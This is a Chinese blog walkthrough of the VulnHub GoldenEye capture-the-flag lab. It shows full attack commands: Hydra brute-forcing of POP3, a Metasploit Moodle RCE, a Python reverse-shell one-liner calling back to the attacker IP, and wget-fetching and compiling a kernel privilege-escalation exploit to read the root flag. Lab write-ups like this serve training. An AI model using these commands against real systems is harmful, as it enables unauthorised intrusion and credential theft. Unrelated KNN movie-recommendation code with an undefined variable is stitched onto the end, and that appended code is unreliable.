vulnhub-GoldenEye靶机通关(超详细)

本文详细描述了一次针对靶机的渗透测试过程,包括主机发现、端口扫描、获取用户名密码、使用nmap、暴力破解pop3、getshell方法(MSF和Python),以及最终的内核提权。通过一步步的攻防,展示了如何获取root权限并找到flag.txt。
摘要由CSDN通过智能技术生成

目录

准备工作

主机发现

扫描挖掘本地的IP地址信息

访问80端口网页

查看源代码

登录后进行信息枚举

nmap全端口扫描

暴力破解

登录pop3

设置本地HOSTS文件

访问地址

爆破用户名doak的邮件

登录doak用户查看邮件信息

使用新的账户密码登录CMS

将图像下载到本地

getshell(两种方法)

msf-getshell

python反弹shell

内核提权


 

准备工作

靶机ip:192.168.198.137
kali:192.168.168.128

靶机地址:https://www.vulnhub.com/entry/goldeneye-1,240/

靶机难度:中等(CTF)

目标:得到root权限&找到flag.txt

主机发现

arp-scan 192.168.198.0/24

26811653da024b54853583bff6d4f8cc.png

扫描挖掘本地的IP地址信息

nmap -sS -sV -T5 -A 192.168.198.137

eec4fa08bcc3430998516750265d3a3e.png

发现开放了25、80端口

访问80端口网页

e33026c71d114008862e08b39aed7f0d.png

显示的文本提示了一条线索,它说进入到/sev-home/目录中。

User: UNKNOWN

Naviagate to /sev-home/ to login 需要登录,开始枚举查找用户名密码信息!

f0fe6ba1b9854d9bbdc31a09dfec02f2.png

查看源代码

a15c531b3a7e43e6add533cd53b30f81.png

访问:view-source:http://192.168.4.202/terminal.js

获得用户名:Boris、Natalya

获得密码:

InvincibleHack3r

54c3e2994b4048549810fb4b7f21bd2a.png

解密HTML:InvincibleHack3r

最终账号密码:boris/InvincibleHack3r

登录后进行信息枚举

F12调试界面发现信息

1)is very effective, we have configured our pop3 service to run on a very high non-default port

谷歌翻译:非常有效,我们已将 pop3 服务配置为在非常高的非默认端口上运行

2)Qualified GoldenEye Network Operator Supervisors: 合格的 GoldenEye 网络运营商主管 Natalya Boris

03fca48bfafc4126a90bbe80f4c03741.png

nmap全端口扫描

从上面的消息中,我们可以了解到某个非默认端口上正在运行一个活动的POP3服务,进行nmap全端口扫描:

nmap -p- 192.168.198.137

ede9487d21ca458dba4e999dc8fc5905.png

55006/tcp open unknown

55007/tcp open unknown

发现55006,55007两个开放的端口,扫描端口开启的服务详细信息:

nmap -sS -sV -T5 -A -p55006,55007 192.168.198.137

a7ffb0910bff4f24aaced4a1262438e2.png

这段信息看出这两个端口开放了pop3的mail服务的,通过http://192.168.198.137/terminal.js页面,在注释中发现一条内容,指出目标系统正在使用默认密码。

ff3c634e20a34ee990899290f1ed5555.png

暴力破解

接下来尝试使用暴力破解,在上一步中找到的用户名“boris”,通过Hydra暴力破解pop3服务:

echo -e 'natalya\nboris' > GodenEye.txt   ---将两个用户名写入txt文本中
hydra -L GodenEye.txt -P /usr/share/wordlists/fasttrack.txt 192.168.198.137 -s 55007 pop3

4ef7b1b9e653450b818a33e6706bc629.png

41faced938644a93bba5e23574a4c0dd.png

经过2~5分钟等待,获得两组账号密码:

用户:boris 密码:secret1!

用户:natalya 密码:bird

登录pop3

通过NC登录pop3查看boris邮件信封内容枚举:

nc 192.168.198.137 55007     ---登录邮箱
user boris                 ---登录用户
pass secret1!              ---登录密码
list                       ---查看邮件数量
retr 1~3                   ---查看邮件内容

989ec7ced4fe4b229cf3c0beb617caca.png

第二封来自用户“natalya”,称她可以破坏鲍里斯的密码。

第三封邮件可以看出有一份文件用了GoldenEye的访问代码作为附件进行发送,并保留在根目录中。但我们无法从此处阅读附件。

接下来查看natalya的邮件

nc 192.168.198.137 55007     ---登录邮箱
user natalya               ---登录用户
pass bird                  ---登录密码
list                       ---查看邮件数量
retr 1~3                   ---查看邮件内容

7c2f16a85fe24476a67906df80b6a89e.png

在第二封邮件看到了另外一个用户名密码,此服务器域名和网站,还要求我们在本地服务hosts中添加域名信息:

用户名:xenia

密码:RCP90rulez!

域:severnaya-station.com 网址:severnaya-station.com/gnocertdir

我们现根据邮件提示添加本地域名:severnaya-station.com

设置本地HOSTS文件

gedit /etc/hosts
192.168.198.137 severnaya-station.com

2e736967043b4b76b34e0ebafb0b89ed.png

访问地址

访问severnaya-station.com/gnocertdir地址:

刚登陆界面我就看到了moodle,这是一个开源的CMS系统,继续点一点,发现要登陆,使用邮件获得的用户密码进行登陆

63f1eea73d634495929257f562edc75a.png

点击:Intro to GoldenEye可以进行登录,使用natalya邮箱第二封邮件获得的用户名密码登录:

69665bce83054144ac728013ec6f191c.png

用户名:xenia 密码:RCP90rulez!

Home / ▶ My profile / ▶ Messages --->发现有一封邮件,内容发现用户名doak

d99b2233b91043a08bde2d3fec881737.png

af7c24823e964b9c9d0f967718581237.png

爆破用户名doak的邮件

echo doak > GodenEye.txt   ---将用户名写入txt文本中
hydra -L GodenEye.txt -P /usr/share/wordlists/fasttrack.txt 192.168.198.137 -s 55007 pop3 

bfe680b47c484485adb916571eb5c31b.png

获得用户名密码:doak/goat

登录doak用户查看邮件信息

nc 192.168.198.137 55007     ---登录邮箱
user doak                  ---登录用户
pass goat                  ---登录密码
list                       ---查看邮件数量
retr 1                     ---查看邮件内容

381ee99ee3c043cf9e6bec1a9b49fa73.png

邮件消息说,为我们提供了更多登录凭据以登录到应用程序。让我们尝试使用这些凭据登录。

用户名:dr_doak

密码:4England!

使用新的账户密码登录CMS

登录后在:Home / ▶ My home 右边发现: s3cret.txt 另外发现这是Moodle使用的2.2.3版本

d20038c353784ecc8da1211ec6a01370.png

现在我们查看文件的内容,指出管理员凭据已隐藏在映像文件中,让我们在浏览器中打开图像以查看其内容。

867d6e4e38174c4d92cea823dd5e4e9e.png

将图像下载到本地

wget http://severnaya-station.com/dir007key/for-007.jpg

fc748567b9cc42c7846889a424817a60.png

根据邮件提示让我们检查图片内容,下载图片后,我们可以使用:

binwalk(路由逆向分析工具)

exiftool(图虫)

strings(识别动态库版本指令) 等查看jpg文件底层内容!

exiftool for-007.jpg
strings for-007.jpg

用以上命令都可以查看到base64编码隐藏信息:eFdpbnRlcjE5OTV4IQ==

692b3c14d9094de39f9e4d8b1b86abec.png

80b18a0a7c8548588504ea37a1a52f58.png

线索中说,这是管理员用户的密码。管理员用户身份继续登陆应用程序。

用户名:admin

密码:xWinter1995x!

severnaya-station.com/gnocertdir

771f55a47247402bad071fd92a37c6a2.png

getshell(两种方法)

msf-getshell

这是Moodle使用的2.2.3版本

此版本有许多漏洞利用,由于我们需要在目标计算机上进行外壳访问,因此我选择使用远程代码执行(RCE)漏洞利用。

使用我们的神器:MSF

msfconsole                        ---进入MSF框架攻击界面
search moodle                     ---查找 moodle类型 攻击的模块
use 1                             ---调用1  exploit/multi/http/moodle_spelling_binary_rce调用攻击脚本
set username admin                ---设置用户名:admin
set password xWinter1995x!        ---设置密码:xWinter1995x!
set rhost severnaya-station.com   ---设置:rhosts severnaya-station.com
set targeturi /gnocertdir         ---设置目录: /gnocertdir
set payload cmd/unix/reverse      ---设置payload:cmd/unix/reverse
set lhost 192.168.198.128          ---设置:lhost 192.168.198.128(需要本地IP)
exploit  ----执行命令

当我们执行后发现无法成功,是因为对方需要修改执行PSpellShell

d124b186f12d472da767730dd5e865ae.png

由于我们已经使用了管理员admin用户登录页面,由于使用的是powershell命令,需要在设置中修改: Home / ▶ Site administration / ▶ Plugins / ▶ Text editors / ▶ TinyMCE HTML editor 来到此处,修改PSpellShell然后save!

69bde0bb88904f7b9ee815c727e64128.png

然后重新exploit继续运行:获得shell

00bd0bf765f74f8bb7ff26687ced3850.png

执行tty,因为获得的权限无框架

python -c 'import pty; pty.spawn("/bin/bash")'     ---将shell进行tty

57231571741c4aa2929e745cb4b54acb.png

python反弹shell

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.198.128",6666));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

将代码替换到Path to aspell,ip改为攻击机ip,然后点击Save changes

50a6138411374607a460fffda42264eb.png

接着在kali上监听6666端口,然后找到Home / ▶ My profile / ▶ Blogs / ▶ Add a new entry,点击下图3的位置反弹shell

dca5ea6b4aca4e9986ab3d96cfa3e067.png

执行tty

python -c 'import pty; pty.spawn("/bin/bash")'     ---将shell进行tty

d50c33d5f52e4fdca7e11d294fe66513.png

内核提权

uname -a 查看权限

2933e11864694198938cb29fc480b1bd.png

谷歌搜索:Linux ubuntu 3.13.0-32 exploit 获得exp版本:37292

uname -a看看内核,然后去exploit-db搜一下exp。但是发现系统内没有装gcc。

cd /tmp # 进入/tmp目录,方便读写
searchsploit 37292        ---搜索kali本地的exp库中37292攻击脚本信息
cp /usr/share/exploitdb/exploits/linux/local/37292.c /home/kali/   ---目录自行修改

这个靶场在枚举信息知道:
无法进行GCC编译,需要改下脚本为cc
gedit 37292.c       ---文本打开 
第143行将gcc改为cc    ---编写下 

然后在本目录下开启http服务:python -m http.server 8081

wget http://192.168.198.128:8081/37292.c   ---wget下载http服务下的文件

成功下载后执行cc编译:
cc -o exp 37292.c     ---C语言的CC代码编译点c文件
chmod +x exp          ---编译成可执行文件,并赋权
./exp                 ---点杠执行

id                   ---查看目前权限
cat /root/.flag.txt  ---读取root下的flag信息
568628e0d993b1973adc718237da6e93

e31966bcdc66481f960cd76403714999.png

3660b84b039e4d6fbd67710b4d87db14.png

be4daf41b32142849e8808f86a94033f.png

此时拿到最终的flag!!!

 

  • 17
    点赞
  • 35
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
好的,针对您的问题,我可以提供一个KNN算法模型来实现电影推荐功能。下面是代码实现和解释: 首先,我们需要准备好电影评分数据集,这里我们使用MovieLens数据集中的评分数据集。然后,我们还需要准备一个新用户的电影评分数据,用于为其推荐电影。 ```python import pandas as pd # 读取评分数据集 ratings_data = pd.read_csv('ratings.csv') # 构建评分矩阵 ratings_matrix = ratings_data.pivot_table(index='userId', columns='movieId', values='rating') # 新用户的电影评分 new_user_ratings = { 1: 5.0, # Toy Story 2: 4.0, # Jumanji 3: 2.0, # Grumpier Old Men 4: 3.0, # Waiting to Exhale 5: 5.0, # Father of the Bride Part II 6: 3.0, # Heat 7: 4.0, # Sabrina 8: 5.0, # Tom and Huck 9: 3.0, # Sudden Death 10: 2.0, # GoldenEye } ``` 接下来,我们可以使用sklearn中的KNeighborsRegressor来建立KNN模型。这里我们使用余弦相似度作为距离度量,选取K=10。然后,我们可以使用模型对新用户进行电影推荐: ```python from sklearn.neighbors import KNeighborsRegressor from sklearn.metrics.pairwise import cosine_similarity import numpy as np # 计算余弦相似度 similarity_matrix = cosine_similarity(ratings_matrix) # 将新用户的评分数据转换为特征向量 new_user_vector = np.zeros((1, ratings_matrix.shape[1])) for movie_id, rating in new_user_ratings.items(): new_user_vector[0, movie_id - 1] = rating # 使用KNN模型进行电影推荐 knn = KNeighborsRegressor(n_neighbors=10, metric='cosine') knn.fit(ratings_matrix, np.arange(ratings_matrix.shape[0])) neighbor_indices = knn.kneighbors(new_user_vector, return_distance=False)[0] # 根据相似度对电影进行加权平均 recommendations = [] for movie_id in range(1, ratings_matrix.shape[1] + 1): if new_user_vector[0, movie_id - 1] == 0: rating_sum = 0 weight_sum = 0 for neighbor_index in neighbor_indices: rating = ratings_matrix.iloc[neighbor_index, movie_id - 1] similarity = similarity_matrix[new_user_index, neighbor_index] rating_sum += rating * similarity weight_sum += similarity if weight_sum > 0: rating_mean = rating_sum / weight_sum recommendations.append((movie_id, rating_mean)) # 根据评分排序,推荐Top-N电影 recommendations = sorted(recommendations, key=lambda x: x[1], reverse=True) top_n = 5 recommended_movies = [] for movie_id, rating in recommendations[:top_n]: recommended_movies.append(movie_id) ``` 根据上述代码,我们可以得到推荐给新用户的Top-5电影。
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值